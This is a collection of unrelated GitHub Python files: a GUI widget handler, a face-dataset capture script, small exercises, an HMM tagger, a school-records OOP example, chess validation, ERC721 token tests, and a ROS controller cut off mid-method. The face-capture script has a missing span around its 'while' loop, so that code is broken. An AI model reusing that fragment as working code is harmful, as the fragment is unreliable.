v.type is NUMBER:\n self.bot._namespace[v.name] = widget.get_value()\n self.bot._vars[v.name].value = widget.get_value()\n elif v.type is BOOLEAN:\n self.bot._namespace[v.name] = widget.get_active()\n self.bot._vars[v.name].value = widget.get_active()\n elif v.type is TEXT:\n self.bot._namespace[v.name] = widget.get_text()\n self.bot._vars[v.name].value = widget.get_text()\n publish_event(VARIABLE_CHANGED_EVENT, v)\n\n def var_added(self, v):\n \"\"\"var was added in the bot while it ran, possibly by livecoding.\n\n :param v:\n :return:\n \"\"\"\n self.add_variable(v)\n\n self.window.set_size_request(400, 35 * len(list(self.widgets.keys())))\n self.window.show_all()\n\n def var_deleted(self, v):\n \"\"\"var was added in the bot.\n\n :param v:\n :return:\n \"\"\"\n widget = self.widgets[v.name]\n\n # widgets are all in a single container ..\n parent = widget.get_parent()\n self.container.remove(parent)\n del self.widgets[v.name]\n\n self.window.set_size_request(400, 35 * len(list(self.widgets.keys())))\n self.window.show_all()\n\n def var_updated(self, v):\n pass\n","repo_name":"shoebot/shoebot","sub_path":"shoebot/gui/var_window.py","file_name":"var_window.py","file_ext":"py","file_size_in_byte":6811,"program_lang":"python","lang":"en","doc_type":"code","stars":115,"dataset":"github-code","pt":"78"} +{"seq_id":"41876657746","text":"import cv2 \nimport time\nimport fnmatch\nimport os\nimport picamera\nimport subprocess\nimport fnmatch\n\ndetector=cv2.CascadeClassifier('/home/pi/Desktop/Door_sec_app/haarcascade_frontalface_default.xml')\ncam = cv2.VideoCapture(0)\nadas_sayac=0\nkul_sayac=0\nyeni_kullanici=False\ni='kelime'\nname=input('Adinizi giriniz: ')\nf = open(\"/home/pi/Desktop/Door_sec_app/dataSet/users.txt\")\nnum_lines = sum(1 for line in f)\nf.close()\nf = open(\"/home/pi/Desktop/Door_sec_app/dataSet/users.txt\")\nwhile(kul_sayac 0):\n print(\"Ayni isimde {} adet kullanicisi var!\".format(adas_sayac))\n secim=input('Yeni bir kayit mi?(evet:e hayir:h): ')\n \n if (secim == 'e'):\n subprocess.call(['mkdir', '/home/pi/Desktop/Door_sec_app/dataSet/{}.'.format(kul_sayac+1)+'{}'.format(name)])\n f = open(\"/home/pi/Desktop/Door_sec_app/dataSet/users.txt\",\"a+\")\n f.write(\"{}.\".format(kul_sayac+1)+\"{}\\n\".format(name))\n f.close()\n print(\"Yeni kullanici fotograf klasoru olusturuldu.\")\n userid=kul_sayac+1\n yeni_kullanici=True\n \n elif (secim == 'h'):\n userid=input(\"Id numarasini giriniz!: \")\n\nelif (adas_sayac == 0):\n subprocess.call(['mkdir', '/home/pi/Desktop/Door_sec_app/dataSet/{}.'.format(kul_sayac+1)+'{}'.format(name)])\n print(\"Yeni kullanici fotograf klasoru olusturuldu.\")\n f = open(\"/home/pi/Desktop/Door_sec_app/dataSet/users.txt\",\"a+\")\n f.write(\"{}.\".format(kul_sayac+1)+\"{}\\n\".format(name))\n f.close()\n yeni_kullanici=True\n userid=kul_sayac+1\n \nif(yeni_kullanici==False):\n path = \"/home/pi/Desktop/Door_sec_app/dataSet/{}.{}/\"\n foto_sayisi = len(fnmatch.filter(os.listdir(path.format(userid,name)),'*.jpg'))\n print(\"Sistemde {} adet fotografiniz var!\".format(foto_sayisi))\n\nelse:\n foto_sayisi = 0\n print(\"Sistemdeki yeni kullanici! {}\".format(name))\n\nprint(\"Kamera Aciliyor...\") \n\nwhile True:\n ret, img =cam.read()\n gray=cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n faces=detector.detectMultiScale(gray,1.3,3)\n cv2.imshow('Face',img);\n for (x,y,w,h) in faces:\n cv2.imshow('Face',img);\n print(\"Hazir!\")\n \n if(cv2.waitKey(1) & 0xFF==ord('c')):\n cv2.imwrite('/home/pi/Desktop/Door_sec_app/dataSet/{}.{}/'.format(str(userid),str(name)) + '{}.{}.{}.jpg'.format(name,str(userid),str(foto_sayisi+1)), gray[y:y+h,x:x+w])\n foto_sayisi+=1\n print(\"Yuz Kaydedildi!\")\n \n elif(cv2.waitKey(1) & 0xFF==ord('q')):\n print(\"Bye Bye\")\n cam.release()\n cv2.destroyAllWindows()\n quit()\n \n if(cv2.waitKey(1) & 0xFF==ord('q')):\n print(\"Bye Bye\")\n cam.release()\n cv2.destroyAllWindows()\n quit()\n","repo_name":"vipspeciall/Door-Security-Project","sub_path":"Door_sec_app/VeriSetiOlusturucu_Python3.py","file_name":"VeriSetiOlusturucu_Python3.py","file_ext":"py","file_size_in_byte":2869,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"31927437194","text":"t = int(input())\nfor _ in range(t):\n n = int(input())\n arr = [int(s) for s in input().split(\" \")]\n odd = 0\n even = 0\n for i in range(n):\n if i%2 != arr[i]%2:\n if i%2 == 0:\n even += 1\n else:\n odd += 1\n else:\n continue\n if odd == even:\n print(odd)\n else:\n print(-1)\n","repo_name":"mohitmishra786/hacktoberfest-2022","sub_path":"Competitive Coding/CodeForces/Codeforces Round #650 (Div. 3)/B. Even Array.py","file_name":"B. Even Array.py","file_ext":"py","file_size_in_byte":376,"program_lang":"python","lang":"en","doc_type":"code","stars":25,"dataset":"github-code","pt":"78"} +{"seq_id":"12942390979","text":"#sacar\r\n#depositar\r\n#extrato - criar uma lista e dar append nela ?\r\nsaldo = 0\r\nextrato = []\r\nvalor_saque_dia = 0\r\nwhile True:\r\n menu = int(input(f'''\r\n \r\n O que deseja fazer? \r\n 1- Depositar\r\n 2- Sacar\r\n 3- Extrato\r\n '''))\r\n if menu == 1: \r\n valor_deposito = float(input('Quanto deseja depositar?'))\r\n if valor_deposito > 0:\r\n saldo += valor_deposito\r\n extrato.append(f'Depósito: + R${valor_deposito: .2f}')\r\n print(f'Saldo atual R${saldo: .2f}')\r\n else:\r\n print('Valor inválido')\r\n if menu == 2:\r\n \r\n valor_saque = float(input('Quanto deseja sacar?')) \r\n if valor_saque > 0 :\r\n if valor_saque < saldo:\r\n if valor_saque_dia + valor_saque < 500:\r\n saldo -= valor_saque\r\n valor_saque_dia += valor_saque\r\n extrato.append(f'Saque: - R${valor_saque: .2f}')\r\n print(f'Saldo atual R${saldo: .2f}')\r\n else:\r\n print(f'Valor máximo de saque diário é de R$500,00. Você ainda tem R${500 - valor_saque_dia} para sacar hoje.')\r\n else:\r\n print('Valor maior que o saldo')\r\n else:\r\n print('Valor precisa ser positivo') \r\n if menu == 3:\r\n if saldo == 0:\r\n print('Não foram realizadas movimentações!')\r\n else: \r\n for i in extrato:\r\n print(i)\r\n print(f'Salto atual é de R${saldo: .2f}')\r\n ","repo_name":"ninocsta/Estudos","sub_path":"Desafio.py","file_name":"Desafio.py","file_ext":"py","file_size_in_byte":1637,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"3481386595","text":"# python3.5 runtagger.py \n\nimport sys\nimport datetime\nimport pickle\nimport numpy as np\nimport re\n\n\nclass HiddenMarkovModel:\n def __init__(self, model):\n self.word_index = model['word_index']\n self.pos_index = model['pos_index']\n self.transition_probabilities = model['transition_probabilities']\n self.word_emission_probabilities = model['word_emission_probabilities']\n self.suffix_emission_probabilities = model['suffix_emission_probabilities']\n self.capitalization_emission_probabilities = model['capitalization_emission_probabilities']\n self.pos_list = model['pos_list']\n\n def simple_rule_based_tagger(self, term):\n rules = [\n (r'.*ing$', 1),\n (r'.*ed$', 2),\n (r'.*ion$', 3),\n (r'.*s$', 4),\n (r'.*al$', 5),\n (r'.*ive$', 6),\n (r'[-]', 7),\n (r'.*', 0)\n ]\n for rule in rules:\n if re.match(rule[0], term):\n return rule[1]\n\n def capitalization_detector(self, term):\n if (term.isupper()):\n return 1\n if (term[0].isupper()):\n return 2\n return 0\n\n def compute_viterbi(self, sentence):\n start_tag = ''\n end_tag = ''\n terms = sentence.split()\n viterbi_table = np.zeros((len(self.pos_index), len(terms)), dtype=float)\n backtrack = np.zeros((len(self.pos_index), len(terms)), dtype='int') - 1\n\n # Init\n pr_word_emission_mtx = None\n if terms[0] in self.word_index:\n pr_word_emission_mtx = self.word_emission_probabilities[:, self.word_index[terms[0]]]\n else:\n pr_word_emission_mtx = self.word_emission_probabilities[:, self.word_index['']]\n suffix = self.simple_rule_based_tagger(terms[0])\n capital = self.capitalization_detector(terms[0])\n pr_word_emission_mtx = np.multiply(\n pr_word_emission_mtx, self.suffix_emission_probabilities[:, suffix]\n )\n pr_word_emission_mtx = np.multiply(\n pr_word_emission_mtx, self.capitalization_emission_probabilities[:, capital]\n )\n\n viterbi_table[:, 0] = np.multiply(\n pr_word_emission_mtx, self.transition_probabilities[self.pos_index[start_tag], :])\n\n for i in range(1, len(terms)):\n for j in range(0, len(self.pos_index)):\n states_give_prev_pos = np.multiply(\n viterbi_table[:, i - 1], self.transition_probabilities[:, j]\n )\n pr_word_emission = 0\n if terms[i] in self.word_index:\n word_index = self.word_index[terms[i]]\n pr_word_emission = self.word_emission_probabilities[j, word_index]\n else:\n pr_word_emission = self.word_emission_probabilities[j, self.word_index['']]\n suffix = self.simple_rule_based_tagger(terms[i])\n capital = self.capitalization_detector(terms[i])\n pr_word_emission *= self.suffix_emission_probabilities[j, suffix]\n pr_word_emission *= self.capitalization_emission_probabilities[j, capital]\n\n max_prev_pos = np.argmax(states_give_prev_pos)\n backtrack[j, i] = max_prev_pos\n viterbi_table[j, i] = (\n states_give_prev_pos[max_prev_pos] * pr_word_emission\n )\n\n output = '\\n'\n last_tag_index = np.argmax(np.multiply(\n viterbi_table[:, -1], self.transition_probabilities[:, self.pos_index[end_tag]])\n )\n output = terms[-1] + '/' + self.pos_list[last_tag_index] + output\n\n for i in range(0, len(terms) - 1):\n last_tag_index = backtrack[last_tag_index, len(terms) - 2 - i + 1]\n output = terms[len(terms) - 2 - i] + '/' + self.pos_list[last_tag_index] + ' ' + output\n\n return output\n\ndef tag_sentence(test_file, model_file, out_file):\n model = None\n with open(model_file, 'rb') as f:\n model = pickle.load(f)\n hmm = HiddenMarkovModel(model)\n\n with open(test_file) as f:\n with open(out_file, 'w+') as f_output:\n lines = f.readlines()\n counter = 0\n for line in lines:\n # print((counter / len(lines)) * 100)\n output_str = hmm.compute_viterbi(line)\n f_output.write(output_str)\n counter += 1\n\n print('Finished...')\n\n\nif __name__ == \"__main__\":\n # make no changes here\n test_file = sys.argv[1]\n model_file = sys.argv[2]\n out_file = sys.argv[3]\n start_time = datetime.datetime.now()\n tag_sentence(test_file, model_file, out_file)\n end_time = datetime.datetime.now()\n print('Time:', end_time - start_time)\n","repo_name":"lws803/CS4248-Natural-Language-Processing","sub_path":"PA1/runtagger.py","file_name":"runtagger.py","file_ext":"py","file_size_in_byte":4920,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"33887556810","text":"# Examples of essential principles in Object Oriented Programming\n\n# Sources: http://www.bogotobogo.com/python/python_private_attributes_methods.php\n# https://www.programiz.com/python-programming/property\n\nimport random\n\nfrom abc import ABC, abstractmethod\n\nclass Teacher:\n\n def __init__(self, name, code):\n self.__name = name\n self.__staffcode = code\n\n @property\n def name(self):\n return self.__name\n\n @name.setter\n def name(self, n):\n self.__name = n\n\n @property\n def staffcode(self):\n return self.__staffcode\n\n @staffcode.setter\n def staffcode(self, code):\n self.__staffcode = code\n\nfrom abc import ABC, abstractmethod\n\n# Event inherits from the class ABC, provided by the abc module\nclass PupilEvent(ABC):\n\n def __init__(self, value, description, teacher: Teacher):\n pass\n\n @property\n @abstractmethod\n def value(self):\n pass\n\n @value.setter\n @abstractmethod\n def value(self, v):\n pass\n\n @property\n @abstractmethod\n def teacher(self):\n pass\n\n @abstractmethod\n def __str__(self):\n pass\n\n\nclass Infraction(PupilEvent):\n\n def __init__(self, value, description, teacher: Teacher):\n\n super(Infraction, self).__init__(value, description, teacher)\n\n self.value = value\n self.__description = description\n self.__teacher = teacher\n\n @property\n def value(self):\n return -self.__value\n\n @value.setter\n def value(self, v):\n if v < 1 or v > 3:\n raise ValueError(\"Infraction values must be between 1 and 3\")\n self.__value = v\n\n @property\n def teacher(self):\n return self.__teacher\n\n def __str__(self):\n # Override the parent __str__ method by returning \"Infraction\" joined to the parent\n # (super) __str__ method's output\n return \"Infraction [{0}]: {1}. Given by {2}.\".format(self.value, self.__description,\n self.__teacher.staffcode)\n\n\nclass Excellence(PupilEvent):\n\n def __init__(self, value, description, teacher: Teacher):\n\n super(Excellence, self).__init__(value, description, teacher)\n\n self.value = value\n self.__description = description\n self.__teacher = teacher\n\n\n @property\n def value(self):\n return self.__value\n\n @value.setter\n def value(self, v):\n if v < 1 or v > 3:\n raise ValueError(\"Excellence Slip values must be between 1 and 3\")\n self.__value = v\n\n @property\n def teacher(self):\n return self.__teacher\n\n def __str__(self):\n return \"Excellence Slip [{0}]: {1}. Given by {2}.\".format(self.value, self.__description,\n self.__teacher.staffcode)\n\n\nclass Pupil:\n\n # Initialisation - __init__() is a special method that is run when an object of this class is\n # first created. This is used to set essential property values.\n def __init__(self, name, yg=None, house=None, tutor=None):\n\n self.__name = name\n\n if yg is not None:\n self.__year_group = yg\n\n if tutor is None:\n self.__tutor = Teacher(\"Unset\", \"---\")\n else:\n self.__tutor = tutor\n\n self.__house = house\n\n self.__events = [] # Initialise with an emtpy Events list\n\n\n # Define a 'name' property, whose value will be stored in a private variable and, when accessed, will be returned\n # by the name() function\n @property\n def name(self):\n return self.__name\n\n # Define the 'setter' for the name property, the function that is called whenever a value is assigned to the property\n @name.setter\n def name(self, n):\n self.__name = n # assigns the argument n to the private variable __name\n\n # Define another property, this time for storing the year group of the pupil\n @property\n def year_group(self):\n return self.__year_group\n\n # Define the setter for year_group - this setter implements validation checks and raises a ValueError exception\n # if a year group value less than 7 or greater than 13 is supplied\n @year_group.setter\n def year_group(self, yg):\n if yg < 7 or yg > 13:\n raise ValueError(\"Year group must be between 7 and 13.\")\n self.__year_group = yg\n\n @property\n def house(self):\n return self.__house\n\n @house.setter\n def house(self, h):\n self.__house = h\n\n @property\n def tutor(self):\n return self.__tutor\n\n @tutor.setter\n def tutor(self, t):\n self.__tutor = t\n\n @property\n def events(self):\n return self.__events\n\n def add_event(self, event: PupilEvent):\n self.__events.append(event)\n\n @property\n def inf_points(self):\n\n points = 0\n\n for event in self.__events:\n if type(event) == Infraction:\n points += event.value\n\n return points\n\n @property\n def exc_points(self):\n\n points = 0\n\n for event in self.__events:\n if type(event) == Excellence:\n points += event.value\n\n return points\n\n def print_details(self):\n print(\"-\" * 20)\n print(self.name)\n print(\"-\" * 20)\n print(\"Year Group:\", self.year_group)\n print(\"House:\", self.house.name)\n print(\"House master:\", self.house.house_master.name)\n print(\"Tutor:\", self.tutor.name)\n print(\"Excellence Points:\", self.exc_points)\n print(\"Infraction Points:\", self.inf_points)\n print(\"-\" * 20)\n\n if self.exc_points > 0 or self.inf_points > 0:\n show_events = input(\"Would you like to see details of {0}'s events? (y/n): \"\n .format(self.name))\n if show_events.lower() == \"y\":\n for event in self.events:\n print(event)\n\n\nclass House:\n\n def __init__(self, name, hm: Teacher = None):\n self.__name = name\n self.__hm = hm\n\n @property\n def name(self):\n return self.__name\n\n @property\n def house_master(self):\n return self.__hm\n\n @house_master.setter\n def house_master(self, hm: Teacher):\n self.__hm = hm\n\n def print_details(self):\n print(self.name, \"House\")\n print(\"House Master:\", self.house_master.name)\n print()\n\n\nclass ClassSet():\n\n def __init__(self, name, teacher=None):\n self.__name = name\n self.__teacher = teacher\n self.__pupils = []\n\n @property\n def name(self):\n return self.__name\n\n @property\n def teacher(self):\n return self.__teacher\n\n @teacher.setter\n def teacher(self, t):\n self.__teacher = t\n\n @property\n def pupils(self):\n return self.__pupils\n\n def add_pupil(self, p):\n self.__pupils.append(p)\n\n @property\n def size(self):\n return len(self.__pupils)\n\n def print_details(self):\n print(\"Class set:\", self.name)\n print(\"Teacher:\", self.teacher.name)\n print(\"Size:\", self.size)\n show_pupils = input(\"Would you like to see details of the pupils in this set? (y/n): \")\n if show_pupils.lower() == \"y\":\n print(\"Pupils:\")\n for pupil in self.__pupils:\n pupil.print_details()\n\n\n# Create a dictionary of Teacher objects that we can assign to houses and classes, etc.\nteachers = {\"APRD\": Teacher(\"Mr Duncan\", \"APRD\"),\n \"JHH\": Teacher(\"Mr Howorth\", \"JHH\"),\n \"AJM\": Teacher(\"Mr Mallins\", \"AJM\"),\n \"AEM\": Teacher(\"Mr Moffat\", \"AEM\"),\n \"TEC\": Teacher(\"Mr Crisford\", \"TEC\"),\n \"AMH\": Teacher(\"Mrs Higgins\", \"AMH\"),\n \"RBC\": Teacher(\"Mr Curtis\", \"RBC\"),\n \"AWD\": Teacher(\"Mr Dimmick\", \"AWD\"),\n \"LJA\": Teacher(\"Mrs Adamson\", \"LJA\"),\n \"AM\": Teacher(\"Mrs Morgan\", \"AM\")\n }\n\n########## Create instances of House objects ##########\n\nskipwith = House(\"Skipwith\", teachers['APRD'])\nwelsh = House(\"Welsh\", teachers['JHH'])\norchard = House(\"Orchard\", teachers['AEM'])\nburr = House(\"Burr\", teachers['AJM'])\nlower_school = House(\"Lower School\", teachers['TEC'])\ngilson = House(\"Gilson\", teachers['AMH'])\ncollege = House(\"College\", teachers['RBC'])\n\n########### Do something with the House objects ##########\nwelsh.print_details()\ngilson.print_details()\n\n\n########### Create instances of Class Set objects ##########\n\nset_12COM = ClassSet(\"12COM\", teachers['AWD'])\nset_12MAT = ClassSet(\"12MAT\", teachers['RBC'])\n\n\n########### Create some Pupil objects and add them to class objects ##########\n\np = Pupil(\"Jack Burgess\", 12, skipwith)\nset_12COM.add_pupil(p)\nset_12MAT.add_pupil(p)\n\np = Pupil(\"Ethan Caldeira\", 12, skipwith)\nset_12COM.add_pupil(p)\nset_12MAT.add_pupil(p)\n\nset_12COM.print_details()\n\n# Print some related data for one of the pupils in a class...\n\nrandom_pupil = random.randrange(set_12MAT.size) # randrange gets a range of values from 0 to the specified value\n\np = set_12COM.pupils[random_pupil] # This is the second pupil in the 12COM class set (Ethan)\n\nprint(\"\\nDetails of a randomly picked pupil...\")\nprint(\"Name:\", p.name) # property of p\nprint(\"House:\", p.house.name) # property of p.house\nprint(\"House master:\", p.house.house_master.name) # proptery of p.house.house_master - Notice that we can keep \"chaining\" properties of\n # objects contained within other objects\n\nprint(\"\\nFacts about a class set...\")\nprint(\"The teacher of {0} is {1} ({2})\".format(set_12MAT.name, set_12MAT.teacher.name, set_12MAT.teacher.staffcode))\n\n\n# Assign a pupil an event\n# Note that in this example, we are referencing the pupil by two different class sets, however they are the same\n# instance of a pupil object - i.e. what we update via one class set, is updated everywhere that the pupil object\n# is accessed.\n\n# Jack has misbehaved for me.\nset_12COM.pupils[0].add_event(Infraction(3, \"Throwing a chair across the room\", teachers['AWD']))\nset_12COM.pupils[0].add_event(Infraction(1, \"Talking during lesson on object oriented programming\", teachers['AWD']))\n\n# Jack has done great work for Mr Curtis.\nset_12MAT.pupils[0].add_event(Excellence(2, \"Repeatedly producing great notes\", teachers['RBC']))\n\n# Let's see Jack's details now that he has some events logged against him.\nset_12COM.pupils[0].print_details()\n\n\n# # Now let's change the house master of Skipwith...\n# input(\"\\n*** Press Enter to update the Housemaster of Skipwith to Mr. L-K ***\")\n# skipwith.house_master = Teacher(\"Mr. L-K\", \"CMLK\")\n# print(\"Proving Skipwith object has been updated\")\n\n# This information has now been updated for all pupils that are assigned to Skipwith:\n\np = set_12COM.pupils[1] # Should be Ethan as he was the second person added to 12COM\np.print_details()\n\n\n\n# Create instances of Class Set objects\n\nset_12COM = ClassSet(\"12COM\", teachers['AWD'])\nset_12MAT = ClassSet(\"12MAT\", teachers['RBC'])\n\n# Add pupils to the class sets\n\np = Pupil(\"Jack Burgess\", 12, skipwith)\nset_12COM.add_pupil(p)\nset_12MAT.add_pupil(p)\n\np = Pupil(\"Ethan Caldeira\", 12, skipwith)\nset_12COM.add_pupil(p)\nset_12MAT.add_pupil(p)\n\n# Assign some pupil an events\n\n# Jack has misbehaved for me.\nset_12COM.pupils[0].add_event(Infraction(3, \"Throwing a chair across the room\", teachers['AWD']))\n\n# Jack has also done some good work for me\nset_12COM.pupils[0].add_event(Excellence(1, \"Excellent focus during today's lesson\", teachers['AWD']))\n\n# Jack has also done great work for Mr Curtis.\nset_12MAT.pupils[0].add_event(Excellence(2, \"Repeatedly producing great notes\", teachers['RBC']))\n\n# Let's see Jack's details now that he has some events logged against him.\nset_12COM.pupils[0].print_details()\n\n\n","repo_name":"ShiplakeCS/A-Level-AQA-CS","sub_path":"OOP_examples/oop_school.py","file_name":"oop_school.py","file_ext":"py","file_size_in_byte":11736,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"78"} +{"seq_id":"39537522449","text":"from __future__ import annotations\n\nfrom utahchess import BLACK, WHITE\nfrom utahchess.board import Board\nfrom utahchess.move import Move\nfrom utahchess.move_candidates import get_all_move_candidates\n\n\ndef is_check(board: Board, current_player: str) -> bool:\n \"\"\"Checks if current player is in check.\n\n En Passant and Castling moves do not have to be considered\n as those are incapable of eating the current player's king.\n\n Args:\n board: Board on which to check whether current player is in check or not.\n current_player: Player for which the check is done.\n\n Returns: Flag indicating whether the current player is in check or not.\n \"\"\"\n enemy_color = WHITE if current_player == BLACK else BLACK\n return find_current_players_king_position(\n board=board, current_player=current_player\n ) in [\n move[1]\n for move in get_all_move_candidates(board=board, current_player=enemy_color)\n ]\n\n\ndef is_valid_move(board: Board, move: Move) -> bool:\n \"\"\"Get whether move is valid given the board.\n\n Checks whether the move would leave the king of the player executing\n the move in check, which is not allowed.\n\n Args:\n board: Board on which move would be executed.\n move: Move which is checked.\n\n Returns: Flag indicating whether the move is valid or not.\n \"\"\"\n board_after_move = board.copy()\n current_player = board[move.piece_moves[0][0]].color # type: ignore\n for piece_move in move.piece_moves:\n board_after_move = board_after_move.move_piece(\n from_position=piece_move[0], to_position=piece_move[1]\n )\n for piece_to_delete in move.pieces_to_delete:\n board_after_move = board_after_move.delete_piece(position=piece_to_delete)\n return not is_check(board=board_after_move, current_player=current_player)\n\n\ndef find_current_players_king_position(\n board: Board, current_player: str\n) -> tuple[int, int]:\n \"\"\"Get the position of the current player's king.\"\"\"\n for piece in board.all_pieces():\n if piece.piece_type == \"King\" and piece.color == current_player:\n return piece.position\n raise Exception(f\"No King found for {current_player}\")\n","repo_name":"PomboLutador/utahchess","sub_path":"src/utahchess/move_validation.py","file_name":"move_validation.py","file_ext":"py","file_size_in_byte":2201,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"56002533","text":"from typing import Dict, List, Tuple\n\n\nclass TimeMap:\n\n def __init__(self):\n self.histories: Dict[str, List[Tuple[int, str]]] = dict()\n\n def set(self, key: str, value: str, timestamp: int) -> None:\n if not key in self.histories:\n self.histories[key] = [(timestamp, value)]\n return\n self.histories[key].append((timestamp, value))\n\n def get(self, key: str, timestamp: int) -> str:\n \"\"\"To look for the location pos of the timestamp entry, we must find the timestamp pair less than or equal to\n timestamp.\n Hence, we repeatedly update pos to mid, if the timestamp at histories[mid] is less than or equal to the\n given timestamp (histories[mid][0] <= timestamp),\n to find the greatest timestamp less than or equal to timestamp.\n In the binary search loop, we will continue to find the desired timestamp on the right side of the loop if\n histories[mid][0] <= timestamp, and search the left side otherwise.\"\"\"\n if not key in self.histories:\n return \"\"\n\n key_historical_values = self.histories[key]\n\n left, right, pos = 0, len(key_historical_values) - 1, -1\n\n while left <= right:\n mid = (left + right) // 2\n\n timestamp_value_at_mid = key_historical_values[mid]\n timestamp_for_value = timestamp_value_at_mid[0]\n\n if timestamp_for_value <= timestamp:\n left = mid + 1\n pos = mid\n else:\n right = mid - 1\n\n if pos == -1:\n return \"\"\n\n return key_historical_values[pos][1]\n","repo_name":"BrianLusina/PythonSnips","sub_path":"design_patterns/timemap/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1624,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"78"} +{"seq_id":"24879521458","text":"import brownie\n\n\ndef test_safeTransferFrom_transfers_ownership_of_a_token(alice, bob, xhibit):\n xhibit.mint(alice, {\"from\": alice})\n xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice})\n\n assert xhibit.ownerOf(0) == bob\n\n\ndef test_safeTransferFrom_adjusts_balances_of_sender_and_recipient(alice, bob, xhibit):\n xhibit.mint(alice, {\"from\": alice})\n xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice})\n\n assert xhibit.balanceOf(alice) == 0\n assert xhibit.balanceOf(bob) == 1\n\n\ndef test_safeTransferFrom_emits_Transfer_event(alice, bob, xhibit):\n xhibit.mint(alice, {\"from\": alice})\n tx = xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice})\n\n assert \"Transfer\" in tx.events\n assert tx.events[\"Transfer\"][\"_from\"] == alice\n assert tx.events[\"Transfer\"][\"_to\"] == bob\n assert tx.events[\"Transfer\"][\"_tokenId\"] == 0\n\n\ndef test_safeTransferFrom_removes_token_approval(alice, bob, xhibit, zero_address):\n xhibit.mint(alice, {\"from\": alice})\n xhibit.approve(bob, 0, {\"from\": alice})\n xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice})\n\n assert xhibit.getApproved(0) == zero_address\n\n\ndef test_safeTransferFrom_reverts_if_sender_is_not_owner_operator_or_approved(\n alice, bob, xhibit\n):\n with brownie.reverts(\"dev: Caller is neither owner nor operator nor approved\"):\n xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice})\n\n\ndef test_safeTransferFrom_reverts_if_to_is_zero_address(alice, xhibit, zero_address):\n xhibit.mint(alice, {\"from\": alice})\n\n with brownie.reverts(\"dev: Transfers to ZERO_ADDRESS not permitted\"):\n xhibit.safeTransferFrom(alice, zero_address, 0, {\"from\": alice})\n\n\ndef test_safeTransferFrom_is_payable(alice, bob, xhibit):\n xhibit.mint(alice, {\"from\": alice})\n xhibit.safeTransferFrom(alice, bob, 0, {\"from\": alice, \"value\": 10 ** 18})\n\n assert xhibit.balance() == 10 ** 18\n\n\ndef test_safeTransferFrom_transfers_ownership_to_contract(\n alice, xhibit, ERC721TokenReceiver\n):\n instance = alice.deploy(ERC721TokenReceiver, True)\n xhibit.mint(alice, {\"from\": alice})\n tx = xhibit.safeTransferFrom(alice, instance.address, 0, b\"\", {\"from\": alice})\n\n assert \"Transfer\" in tx.events\n\n\ndef test_safeTransferFrom_transfers_ownership_to_contract_no_data(\n alice, xhibit, ERC721TokenReceiver\n):\n instance = alice.deploy(ERC721TokenReceiver, True)\n xhibit.mint(alice, {\"from\": alice})\n tx = xhibit.safeTransferFrom(alice, instance.address, 0, {\"from\": alice})\n\n assert \"Transfer\" in tx.events\n\n\ndef test_safeTransferFrom_reverts_when_transferring_to_non_receiver_contract(\n alice, xhibit, ERC721TokenReceiver\n):\n instance = alice.deploy(ERC721TokenReceiver, False)\n xhibit.mint(alice, {\"from\": alice})\n\n with brownie.reverts(\"dev: Invalid ERC721TokenReceiver response\"):\n xhibit.safeTransferFrom(alice, instance.address, 0, b\"\", {\"from\": alice})\n","repo_name":"skellet0r/NFTXhibit","sub_path":"tests/ERC/721/test_safeTransferFrom.py","file_name":"test_safeTransferFrom.py","file_ext":"py","file_size_in_byte":2900,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"78"} +{"seq_id":"38994702036","text":"import gradio as gr\n\ndef video_flip(video):\n return video\n\niface = gr.Interface(\n video_flip, \"video\", \"playable_video\", theme=\"huggingface\",\n examples=[\n [\"files/video.avi\"],\n [\"files/video.mp4\"]\n ])\n\nif __name__ == \"__main__\":\n iface.launch()\n","repo_name":"Fernando23296/gradio","sub_path":"demo/video_flip.py","file_name":"video_flip.py","file_ext":"py","file_size_in_byte":274,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"78"} +{"seq_id":"26884128295","text":"import hashlib\nimport os\n\ndef get_file_md5(file_path: str):\n hash_md5 = hashlib.md5()\n with open(file_path, \"rb\") as f:\n for chunk in iter(lambda: f.read(4096), b\"\"):\n hash_md5.update(chunk)\n return hash_md5.hexdigest()\n\n\ndef remove_file(file_path: str):\n if os.path.exists(file_path):\n os.remove(file_path)\n","repo_name":"Davit159/face-recogniser-http","sub_path":"src/helper/file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"5708168533","text":"#!/usr/bin/env python\n\n# Importing the required libraries\nimport rospy\nfrom std_msgs.msg import Float64, String\nimport time\nimport math\nimport numpy as np\nimport yaml\nfrom pynput.keyboard import Key, Listener\n\nclass Twist_():\n\n def __init__(self):\n # initializing ros node with name node_sparsh_controller\n rospy.init_node('node_twister_controller')\n\n # sample rate\n self.sample_rate = 60\n self.speed = 1.707\n self.x = 0\n self.sleep_rate = 0\n # publishers\n self.right_front = rospy.Publisher('/twister/right_front_wheel_to_chassis_controller/command', Float64, queue_size=0)\n self.left_front = rospy.Publisher('/twister/left_front_wheel_to_chassis_controller/command', Float64, queue_size=0)\n self.right_back = rospy.Publisher('/twister/right_back_wheel_to_chassis_controller/command', Float64, queue_size=0)\n self.left_back = rospy.Publisher('/twister/left_back_wheel_to_chassis_controller/command', Float64, queue_size=0)\n\n def Set_limit(self):\n if self.speed >1.9:\n self.speed = 1.8\n if self.speed < 0.1:\n self.speed = 0.1\n\n def Control(self):\n self.x += self.speed\n self.right_back.publish(self.x)\n self.left_back.publish(self.x)\n self.right_front.publish(self.x)\n self.left_front.publish(self.x)\n time.sleep(self.sleep_rate)\n\n def Control_back(self):\n self.x += self.speed\n self.right_back.publish(-self.x)\n 